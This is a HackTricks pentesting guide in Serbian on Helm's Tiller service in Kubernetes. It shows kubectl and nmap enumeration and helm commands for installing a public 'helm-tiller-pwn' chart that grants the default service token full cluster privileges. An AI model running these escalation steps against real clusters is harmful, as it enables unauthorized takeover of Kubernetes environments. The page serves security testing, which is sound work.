hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
3.1 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Osnovne informacije
Helm je **menadžer paketa** za Kubernetes. Omogućava pakovanje YAML datoteka i distribuciju u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju **Helm Charts**. **Tiller** je **usluga** koja se **pokreće** po defaultu na portu 44134 i nudi uslugu.
**Podrazumevani port:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeracija
Ako možete **enumerisati podove i/ili servise** različitih imenskih prostora, enumerišite ih i tražite one sa **"tiller" u svom imenu**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Primeri:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Možete takođe pokušati da pronađete ovu uslugu pokrenutu proverom porta 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Kada ga otkrijete, možete komunicirati sa njim preuzimanjem klijentske helm aplikacije. Možete koristiti alate kao što su `homebrew`, ili pogledati [**stranicu zvaničnih izdanja**](https://github.com/helm/helm/releases)**.** Za više detalja, ili za druge opcije, pogledajte [vodič za instalaciju](https://v2.helm.sh/docs/using_helm/#installing-helm).
Zatim, možete **enumerisati uslugu**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Eskalacija privilegija
Po defaultu, **Helm2** je instaliran u **namespace kube-system** sa **visokim privilegijama**, tako da ako pronađete servis i imate pristup njemu, to bi moglo omogućiti da **eskalirate privilegije**.
Sve što treba da uradite je da instalirate paket poput ovog: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) koji će dati **default service token pristup svemu u celom klasteru.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Na [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) imate **objašnjenje napada**, ali u suštini, ako pročitate datoteke [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) i [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) unutar _helm-tiller-pwn/pwnchart/templates/_ možete videti kako se **sve privilegije dodeljuju podrazumevanom tokenu**.
{{#include ../banners/hacktricks-training.md}}